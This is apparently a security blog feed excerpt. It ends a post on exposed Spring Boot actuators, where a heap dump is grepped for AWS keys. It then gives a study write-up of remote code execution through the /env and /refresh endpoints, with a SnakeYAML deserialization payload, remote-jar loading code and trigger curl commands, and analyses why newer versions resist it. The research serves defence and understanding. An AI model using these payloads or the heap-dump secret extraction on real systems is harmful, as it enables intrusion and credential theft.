</code></pre><p>Build, deploy, and finally we&apos;re safe. Right?</p><h2 id="h-actually-ill-just-have-everything-to-go-please" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Actually, I&apos;ll Just Have Everything To Go, Please</h2><p>Pulling data from logs is a really tedious task, and there is no guarantee for me (as an attacker) that the application will actually log interesting things. Sure, I could go ahead and set every single external library to the TRACE log level, collect the logs, and sift through them, but really, this seems like a lot of work I&apos;d rather avoid doing, thank you very much. Why go to that trouble if I could instead just take... everything?</p><p>Well, lucky for me, there is /actuator/heapdump. This endpoint does exactly what it sounds like - it takes a copy of the Java heap (i.e., the memory of the application) and provides it to me as a large blob of binary data. Let&apos;s grab a copy and dig in.</p><pre data-type="codeBlock" text="$ curl localhost:8081/actuator/heapdump -o heap.bin
"><code>$ curl localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>heapdump <span class="hljs-operator">-</span>o heap.bin
</code></pre><p>Now, since you have cleverly disabled the logging of AWS credentials, I can no longer just read them from the logs - but they are still in the heap of the application! Likely in the middle of a big chunk of meaningless binary data, but that&apos;s what the strings utility is for - it pulls sequences of printable characters from any file and presents them to you, newline-separated. You can then just pipe the whole thing through grep to find what you are looking for. For example, AWS credentials.</p><pre data-type="codeBlock" text="# Use -C 20 to see 20 lines before and after each match
$ strings heap.bin | grep -C 20 AKIA
[...]
AWS_TOKEN#
AWS_TOKEN!
TESTingSecretAccessTest#
TESTingSecretAccessTest!
[...]
AWS_SECRET_KEY#
AWS_SECRET_KEY!
AKIATESTTEST#
AKIATESTTEST!
"><code># Use <span class="hljs-operator">-</span>C <span class="hljs-number">20</span> to see <span class="hljs-number">20</span> lines before and after each match
$ strings heap.bin <span class="hljs-operator">|</span> grep <span class="hljs-operator">-</span>C <span class="hljs-number">20</span> AKIA
[...]
AWS_TOKEN#
AWS_TOKEN<span class="hljs-operator">!</span>
TESTingSecretAccessTest#
TESTingSecretAccessTest<span class="hljs-operator">!</span>
[...]
AWS_SECRET_KEY#
AWS_SECRET_KEY<span class="hljs-operator">!</span>
AKIATESTTEST#
AKIATESTTEST<span class="hljs-operator">!</span>
</code></pre><p>And there we go - secrets, pulled directly from the brain of your application. In the same way, we could pull out cryptographic keys, API credentials, user data that the application is currently working on, internal API addresses, AWS resource identifiers, or whatever else the application is using. And at this point, there really isn&apos;t anything you can do about it.</p><p>Well, except, of course, not exposing your actuators.</p><h2 id="h-closing-notes" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Closing Notes</h2><p>I&apos;ve only gone through a small number of the actuators in this blog post, and these aren&apos;t even <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">necessarily the most dangerous ones.</a> The only arguably harmless endpoint is the health check actuator (which is also the only one that is enabled by default). Any other endpoint should be considered dangerous (yes, even the Prometheus endpoint you are using for monitoring your application, unless you are fine with showing the whole world your resource usage and whatever business metrics you are exposing through it). The best thing you can do it to turn off every endpoint you are not actively using, limit access to the others using the firewall, and add authentication requirements.</p><p>In the next parts of this blog series, I will discuss how to detect your exposed endpoints. We will begin with detecting them in your code, and then move on to detecting them with dynamic security scanners. Finally, we will discuss how you can secure your actuators against attackers.</p><h2 id="h-further-reading" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Further reading:</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html">https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html</a></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">https://www.veracode.com/blog/research/exploiting-spring-boot-actuators</a></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://tutorialboy24.blogspot.com/2022/02/a-study-notes-of-exploit-spring-boot.html">https://tutorialboy24.blogspot.com/2022/02/a-study-notes-of-exploit-spring-boot.html</a></p>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/7dc2cfaac1910ca9987256f0fcb1bc324ee3a7a7f51adf8f33f7780ddc23ec12.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[A Study Notes of Exploit Spring Boot Actuator]]></title>
            <link>https://paragraph.com/@tutorialboy/a-study-notes-of-exploit-spring-boot-actuator</link>
            <guid>YGxrhJSORePnHS30gKlO</guid>
            <pubDate>Wed, 19 Apr 2023 10:34:10 GMT</pubDate>
            <description><![CDATA[IntroductionIn February of the year, Michael Stepankin wrote an article on the utilization of Spring Boot Actuators https://www.veracode.com/blog/research/exploiting-spring-boot-actuators, which introduced a variety of utilization ideas and methods, and then the author updated the article in May, adding the method of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment, because there is no analysis article on this method found on the Internet, I debug and record the proces...]]></description>
            <content:encoded><![CDATA[<h2 id="h-introduction" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Introduction</h2><p>In February of the year, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/author/michael-stepankin">Michael Stepankin</a> wrote an article on the utilization of Spring Boot Actuators <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">https://www.veracode.com/blog/research/exploiting-spring-boot-actuators</a>, which introduced a variety of utilization ideas and methods, and then the author updated the article in May, adding the method of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment, because there is no analysis article on this method found on the Internet, I debug and record the process myself, mainly content include</p><ul><li><p>Principle and Process Analysis of Realizing RCE by Modifying Environment Variables</p></li></ul><ul><li><p>SnakeYAML deserialization introduction and utilization</p></li></ul><ul><li><p>High version Spring Boot Actuator utilizes testing and failure cause analysis</p></li></ul><h2 id="h-rce-analysis" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">RCE Analysis</h2><p>First, briefly summarize the use process</p><ul><li><p>Use /envendpoint to modify the spring.cloud.bootstrap.locationattribute value to an external yml configuration file url address, such as<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://127.0.0.1:63712/yaml-payload.yml">http://127.0.0.1:63712/yaml-payload.yml</a></p></li></ul><ul><li><p>Request /refreshthe endpoint, trigger the program to download the external yml file, and parse it by the SnakeYAML library, because SnakeYAML supports specifying the class type and the parameters of the construction method during deserialization, combined with the javax.script.ScriptEngineManagerclass , it can load the remote jar package and complete any arbitrary code execution</p></li></ul><ul><li><p>From the process, we know that the command execution is caused by a deserialization vulnerability when SnakeYAML parses the YAML file. Let&apos;s look at an example of deserialization using the SnakeYAML library.</p></li></ul><pre data-type="codeBlock" text="    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load(&quot;!!java.net.URL [\&quot;http://127.0.0.1:63712/yaml-payload.jar\&quot;]&quot;);
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }
"><code>    @Test
    <span class="hljs-keyword">public</span> void testYaml() {
        Yaml yaml <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Yaml();
        Object url <span class="hljs-operator">=</span> yaml.load(<span class="hljs-string">"!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]"</span>);
        <span class="hljs-comment">// class java.net.URL</span>
        System.out.println(url.getClass());
        <span class="hljs-comment">// http://127.0.0.1:63712/yaml-payload.jar</span>
        System.out.println(url);
    }
</code></pre><p>SnakeYAML supports !!+ full class name to specify the class to be deserialized, and then passes the constructor parameters in [arg1, arg2, ...]the form of . After the code in the example is executed, an java.net.URLinstance of the class will be deserialized</p><p>Let&apos;s take a look at the content of the external yml file given in yaml-payload.yml the</p><pre data-type="codeBlock" text="!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL [&quot;http://127.0.0.1:61234/yaml-payload.jar&quot;]
  ]]
]
"><code><span class="hljs-operator">!</span><span class="hljs-operator">!</span>javax.script.ScriptEngineManager [
  <span class="hljs-operator">!</span><span class="hljs-operator">!</span>java.net.URLClassLoader [[
    <span class="hljs-operator">!</span><span class="hljs-operator">!</span>java.net.URL [<span class="hljs-string">"http://127.0.0.1:61234/yaml-payload.jar"</span>]
  ]]
]
</code></pre><p>The process of SnakeYAML processing the above content can be equivalent to the following java code</p><pre data-type="codeBlock" text="URL url = new URL(&quot;http://127.0.0.1:63712/yaml-payload.jar&quot;);
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
"><code>URL <span class="hljs-attr">url</span> = new URL(<span class="hljs-string">"http://127.0.0.1:63712/yaml-payload.jar"</span>)<span class="hljs-comment">;</span>
new ScriptEngineManager(new URLClassLoader(new URL<span class="hljs-section">[]</span>{url}))<span class="hljs-comment">;</span>
</code></pre><p>After the code is executed, the jar package will be downloaded from the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://127.0.0.1:63712/yaml-payload.jaraddress">http://127.0.0.1:63712/yaml-payload.jaraddress</a> , and javax.script.ScriptEngineFactoryan implementation class of the interface will be found in the package, and then instantiated. Because the jar package code is controllable, arbitrary code can be executed.</p><p>The general process is understood, let&apos;s debug it</p><p>For the yaml-payload.jarcode see <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/artsploit/yaml-payload">https://github.com/artsploit/yaml-payload</a>, the key code is AwesomeScriptEngineFactory.javaclass, and Runtime is used in the constructor to execute system commands</p><pre data-type="codeBlock" text="package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
        Runtime.getRuntime().exec(&quot;/Applications/Calculator.app/Contents/MacOS/Calculator&quot;);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    ...
}
"><code><span class="hljs-keyword">package</span> artsploit;

<span class="hljs-keyword">import</span> javax.script.ScriptEngine;
<span class="hljs-keyword">import</span> javax.script.ScriptEngineFactory;
<span class="hljs-keyword">import</span> java.io.IOException;
<span class="hljs-keyword">import</span> java.util.List;

<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">AwesomeScriptEngineFactory</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">ScriptEngineFactory</span> {

    <span class="hljs-keyword">public</span> <span class="hljs-title function_">AwesomeScriptEngineFactory</span><span class="hljs-params">()</span> {
        <span class="hljs-keyword">try</span> {
        Runtime.getRuntime().exec(<span class="hljs-string">"/Applications/Calculator.app/Contents/MacOS/Calculator"</span>);
        } <span class="hljs-keyword">catch</span> (IOException e) {
            e.printStackTrace();
        }
    }
    ...
}
</code></pre><p>We breakpoint under the Runtime.exec()method , and the call stack is as follows</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/280665f0960d98f8d5cb7feb5f0522688ae568ea016e9cef6075d4daab3f7cf2.png" alt="image-20191128201612824" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128201612824</figcaption></figure><p>method call order</p><pre data-type="codeBlock" text="javax.script.ScriptEngineManager&lt;init&gt;
    javax.script.ScriptEngineManager.init()
        javax.script.ScriptEngineManager.initEngines()
            java.util.ServiceLoader.LazyIterator.nextService()
                artsploit.AwesomeScriptEngineFactory&lt;init&gt;
                    Runtime.getRuntime().exec()
"><code>javax.script.ScriptEngineManager&#x3C;init<span class="hljs-operator">></span>
    javax.script.ScriptEngineManager.init()
        javax.script.ScriptEngineManager.initEngines()
            java.util.ServiceLoader.LazyIterator.nextService()
                artsploit.AwesomeScriptEngineFactory&#x3C;init<span class="hljs-operator">></span>
                    Runtime.getRuntime().exec()
</code></pre><p>The Java SPI mechanism is used in the method of the ScriptEngineManagerclass to dynamically load the implementation class of the interfaceinitEnginesScriptEngineFactory</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/773ecc5fe33ed8975df74cab4844b748e6885f6b0fc6248d05ab668236f2d24f.png" alt="image-20191128200536305" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128200536305</figcaption></figure><p>This is also why the AwesomeScriptEngineFactoryclass needs to implement the ScriptEngineFactoryinterface, META-INF/servicesand there needs to be a file name javax.script.ScriptEngineFactoryin the directory, and the value is the full package name of the implementation class, that is, it needs to conform to the Java SPI implementation specification</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b71ba33663f0e7ee9a9f052e2c9109eb6a14d0d9bef0808f035e409807f66607.png" alt="image-20191128200916571" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128200916571</figcaption></figure><p>In the process of ServiceLoaderloading the implementation class, the parameterless constructor will be called to create an instance and trigger command execution</p><p>The corresponding code is in the ServiceLoader.LazyIteratorclassnextService()</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9b345086b35ab288a5775cfc3a6db21342d2ec205f41b38435fd5cba536b6f1b.png" alt="image-20191128194829490" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128194829490</figcaption></figure><p>After analyzing the YAML deserialization, let&apos;s take a look at the execution process in Spring Boot Actuator. For the vulnerability environment and code, see the master branch</p><p>Run the vulnerable environment in debug mode, and also breakpoints under the Runtime.exec()method</p><p>Modify firstspring.cloud.bootstrap.location</p><pre data-type="codeBlock" text="curl -XPOST http://127.0.0.1:61234/env -d &quot;spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml&quot;  
"><code>curl -XPOST http://127.0.0.1:61234/env -d <span class="hljs-string">"spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"</span>  
</code></pre><p>Visit <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://127.0.0.1:61234/env">http://127.0.0.1:61234/env</a>, you can see that there managerare more values ​​we set under</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/330c98bd19c6d3436b68a2431d3736f920b07d9caad0be931de0b4e808876ca2.png" alt="image-20191128202320441" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128202320441</figcaption></figure><p>Then request the /refreshinterface to trigger</p><pre data-type="codeBlock" text="curl -XPOST http://127.0.0.1:61234/refresh
"><code>curl <span class="hljs-operator">-</span>XPOST http:<span class="hljs-comment">//127.0.0.1:61234/refresh</span>
</code></pre><p>The call stack is relatively long, let&apos;s look at a few key placesThe first is the RefreshEndpoint.refresh()method , /refreshthe class that handles the interface request</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2bb0084ece5bd0b88456d5340b3d684a00db50f6378ad5e93c3c2c734144e415.png" alt="image-20191128203000766" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128203000766</figcaption></figure><p>The second is the BootstrapApplicationListener.bootstrapServiceContext()method , where the value is obtained from the environment variable spring.cloud.bootstrap.location, that is, the external yml file url set previously</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b7c61c89357d0589dbb7ab896a0c470204032be0ba24fcb66c21a2b134b12687.png" alt="image-20191201222608591" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191201222608591</figcaption></figure><p>Then you will go to the org.springframework.boot.env.PropertySourcesLoader.load()method , according to the file name suffix (yml), use the YamlPropertySourceLoaderclass to load the yml configuration file corresponding to the url</p><p>According to the code on the right, because spring-beans.jar contains snakeyaml.jar, YamlPropertySourceLoaderthe SnakeYAML library is used to parse the configuration by default</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5dd40ade17db5feb6db7e03cd66ca444f7c1bc38184665add07a85d152d05a29.png" alt="image-20191201223032924" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191201223032924</figcaption></figure><p>Finally, it is called in the YamlProcessor.process()method to Yaml.loadAll()parse the content of the yml file, and the subsequent process is similar to the previous SnakeYAMLdeserialization process, which finally triggers command execution</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6de6af6b6163ff639ecacf51bb5360a55d4d1e9011e1df4435a7e8af3445060f.png" alt="image-20191201223430957" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191201223430957</figcaption></figure><h2 id="h-high-version-test" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">High Version Test</h2><p>The vulnerability environment given by the author in the article is the Spring Boot 1.x version, and in the actual testing process, many situations are encountered in the Spring Boot 2.x version. In version 2.x, the default endpoint prefix of the actuator is /actuator, and the post body of the envinterface also in JSON format. The steps are:</p><p>Modify environment variables</p><pre data-type="codeBlock" text="curl -XPOST -H &quot;Content-Type: application/json&quot; http://127.0.0.1:61234/actuator/env -d &apos;{&quot;name&quot;:&quot;spring.cloud.bootstrap.location&quot;,&quot;value&quot;:&quot;http://127.0.0.1:63712/yaml-payload.yml&quot;}&apos;
"><code>curl -XPOST -H "<span class="hljs-attribute">Content</span>-Type: application/json<span class="hljs-string">" http://127.0.0.1:61234/actuator/env -d '{"</span>name<span class="hljs-string">":"</span>spring.cloud.bootstrap.location<span class="hljs-string">","</span>value<span class="hljs-string">":"</span>http://<span class="hljs-number">127.0</span>.<span class="hljs-number">0.1</span>:<span class="hljs-number">63712</span>/yaml-payload.yml<span class="hljs-string">"}'
</span></code></pre><p>Visit <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://127.0.0.1:61234/actuator/env">http://127.0.0.1:61234/actuator/env</a>, you can see that there are more values ​​just set under property sources</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c547ff79f4b2ab1acafccfabb95c4bc8166420a91c632c8cf75588e4150db9be.png" alt="image-20191128213946911" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191128213946911</figcaption></figure><p>Then refresh triggers</p><pre data-type="codeBlock" text="curl -XPOST http://127.0.0.1:61234/actuator/refresh
"><code>curl <span class="hljs-operator">-</span>XPOST http:<span class="hljs-comment">//127.0.0.1:61234/actuator/refresh</span>
</code></pre><p>After the execution, you will find that the calculator does not pop up. At this time, the black question mark? ? ? You can only debug again to find the reason</p><p>After some research, I found that it was because the value of the <strong>spring.cloud.bootstrap.locationattribute</strong> did not take effect.</p><p>Let&apos;s recall the second key point mentioned earlier</p><blockquote><p>**BootstrapApplicationListener.bootstrapServiceContext() **, here is **spring.cloud.bootstrap.location **the , that is, the external yml file url set before</p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5b07c258f3a2eedb210f5a7e3ca2be92188201a005f82e9bc49177b96969d990.png" alt="image-20191201224920275" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191201224920275</figcaption></figure><p>It can be seen that configLocationthe value of , is empty, that is, the value that cannot be parsed from <strong>${spring.cloud.bootstrap.location}</strong></p><p>Through the analysis of the calling method and variable, it is found environmentthat the <strong>propertySourceList</strong> attribute in the variable has changed</p><p>Let&apos;s take a look at the 1.x version first, you can see that it contains manager</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/379335983d6a2fe9fda46660245f6655975c8981416d637d5fbff1c5b0a1639e.png" alt="image-20191130163635709" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191130163635709</figcaption></figure><p>Let&apos;s take a look at the 2.x version, you will find that there is no more</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/60aabdafacbd4f360dfdc42a6653c464486b0c2ada8cc8e54b175f5703bf2f5f.png" alt="image-20191130162850070" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191130162850070</figcaption></figure><p>And the loading code of PropertySources is in **org.springframework.cloud.context.refresh.ContextRefresherthe copyEnvironment() **method of</p><pre data-type="codeBlock" text="private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)
"><code><span class="hljs-keyword">private</span> StandardEnvironment <span class="hljs-title function_">copyEnvironment</span><span class="hljs-params">(ConfigurableEnvironment input)</span>
</code></pre><p>The same, let&apos;s first look at the logic of 1.x</p><pre data-type="codeBlock" text="    private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
        StandardEnvironment environment = new StandardEnvironment();
        MutablePropertySources capturedPropertySources = environment.getPropertySources();
        for (PropertySource&lt;?&gt; source : capturedPropertySources) {
            capturedPropertySources.remove(source.getName());
        }
        for (PropertySource&lt;?&gt; source : input.getPropertySources()) {
            capturedPropertySources.addLast(source);
        }
        environment.setActiveProfiles(input.getActiveProfiles());
        environment.setDefaultProfiles(input.getDefaultProfiles());
        Map&lt;String, Object&gt; map = new HashMap&lt;String, Object&gt;();
        map.put(&quot;spring.jmx.enabled&quot;, false);
        map.put(&quot;spring.main.sources&quot;, &quot;&quot;);
        capturedPropertySources
                .addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
        return environment;
    }
"><code>    <span class="hljs-keyword">private</span> StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
        StandardEnvironment environment <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> StandardEnvironment();
        MutablePropertySources capturedPropertySources <span class="hljs-operator">=</span> environment.getPropertySources();
        <span class="hljs-keyword">for</span> (PropertySource<span class="hljs-operator">&#x3C;</span>?<span class="hljs-operator">></span> source : capturedPropertySources) {
            capturedPropertySources.remove(source.getName());
        }
        <span class="hljs-keyword">for</span> (PropertySource<span class="hljs-operator">&#x3C;</span>?<span class="hljs-operator">></span> source : input.getPropertySources()) {
            capturedPropertySources.addLast(source);
        }
        environment.setActiveProfiles(input.getActiveProfiles());
        environment.setDefaultProfiles(input.getDefaultProfiles());
        Map<span class="hljs-operator">&#x3C;</span>String, Object<span class="hljs-operator">></span> map <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> HashMap<span class="hljs-operator">&#x3C;</span>String, Object<span class="hljs-operator">></span>();
        map.put(<span class="hljs-string">"spring.jmx.enabled"</span>, <span class="hljs-literal">false</span>);
        map.put(<span class="hljs-string">"spring.main.sources"</span>, <span class="hljs-string">""</span>);
        capturedPropertySources
                .addFirst(<span class="hljs-keyword">new</span> MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
        <span class="hljs-keyword">return</span> environment;
    }
</code></pre><p><strong>input.getPropertySources()</strong> the value of</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2ba22a697c2fb7c5bc1e07bf1bd0f89e6c7f90c4aed1a57f730bcbd18ac0d7b9.png" alt="image-20191130171807878" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image-20191130171807878</figcaption></figure><p>The following is the logic of 2.x</p><pre data-type="codeBlock" text="  private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
            // order matters, if cli args aren&apos;t first, things get messy
          // commandLineArgs
            CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
            &quot;defaultProperties&quot; };

    private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
        StandardEnvironment environment = new StandardEnvironment();
        MutablePropertySources capturedPropertySources = environment.getPropertySources();
        // Only copy the default property source(s) and the profiles over from the main
        // environment (everything else should be pristine, just like it was on startup).
        for (String name : DEFAULT_PROPERTY_SOURCES) {
            if (input.getPropertySources().contains(name)) {
        
                if (capturedPropertySources.contains(name)) {
                    capturedPropertySources.replace(name,
                            input.getPropertySources().get(name));
                }
                else { 
                    capturedPropertySources.addLast(input.getPropertySources().get(name));
                }
            }
        }
        environment.setActiveProfiles(input.getActiveProfiles());
        environment.setDefaultProfiles(input.getDefaultProfiles());
        Map&lt;String, Object&gt; map = new HashMap&lt;String, Object&gt;();
        map.put(&quot;spring.jmx.enabled&quot;, false);
        map.put(&quot;spring.main.sources&quot;, &quot;&quot;);
        capturedPropertySources
                .addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
        return environment;
    }
"><code>  <span class="hljs-keyword">private</span> static final String[] DEFAULT_PROPERTY_SOURCES <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> String[] {
            <span class="hljs-comment">// order matters, if cli args aren't first, things get messy</span>
          <span class="hljs-comment">// commandLineArgs</span>
            CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
            <span class="hljs-string">"defaultProperties"</span> };

    <span class="hljs-keyword">private</span> StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
        StandardEnvironment environment <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> StandardEnvironment();
        MutablePropertySources capturedPropertySources <span class="hljs-operator">=</span> environment.getPropertySources();
        <span class="hljs-comment">// Only copy the default property source(s) and the profiles over from the main</span>
        <span class="hljs-comment">// environment (everything else should be pristine, just like it was on startup).</span>
        <span class="hljs-keyword">for</span> (String name : DEFAULT_PROPERTY_SOURCES) {
            <span class="hljs-keyword">if</span> (input.getPropertySources().contains(name)) {
        
                <span class="hljs-keyword">if</span> (capturedPropertySources.contains(name)) {
                    capturedPropertySources.replace(name,
                            input.getPropertySources().get(name));
                }
                <span class="hljs-keyword">else</span> { 
                    capturedPropertySources.addLast(input.getPropertySources().get(name));
                }
            }
        }
        environment.setActiveProfiles(input.getActiveProfiles());
        environment.setDefaultProfiles(input.getDefaultProfiles());
        Map<span class="hljs-operator">&#x3C;</span>String, Object<span class="hljs-operator">></span> map <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> HashMap<span class="hljs-operator">&#x3C;</span>String, Object<span class="hljs-operator">></span>();
        map.put(<span class="hljs-string">"spring.jmx.enabled"</span>, <span class="hljs-literal">false</span>);
        map.put(<span class="hljs-string">"spring.main.sources"</span>, <span class="hljs-string">""</span>);
        capturedPropertySources
                .addFirst(<span class="hljs-keyword">new</span> MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
        <span class="hljs-keyword">return</span> environment;
    }
</code></pre><p>According to the code, it can be known that only the name DEFAULT_PROPERTY_SOURCESin PropertySourcewill be processed, and its value is a string array, which only contains</p><ul><li><p>commandLineArgs</p></li></ul><ul><li><p>default properties</p></li></ul><p>And what we added is that the property value is in manager the PropertySource, so it will not be added to the property sources ( capturedPropertySources) of the environment, which will eventually lead to the inability to resolve</p><p>At this point, it can be determined that the method of implementing RCE by modifying spring.cloud.bootstrap.locationattributes cannot be successful in high versions</p><p>In order to find the available version range, I looked at the commit record of git and found that the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/spring-cloud/spring-cloud-commons/commit/91f60b3f4cad8a5ce2976a43ee33220c39bd762b#diff-38bfd6c45be21acfba1aac62e7250f69">modification</a> was spring-cloud-common merged in 1.3.0.RELEASE, so it is 1.3.0.RELEASEonly</p><p>And the dependency version of the Spring Cloud related jar package depends on spring-cloud-dependencies the version, you can know from pom.xml that spring-cloud-dependenciesthe Dalston.RELEASE version depends on 1.2.0 spring-cloud-commons, and the later version depends on &gt;= 1.3.0, according to the document https: //spring.io/projects/spring-cloud version adaptation instructions of Spring Cloud to Spring Boot</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img 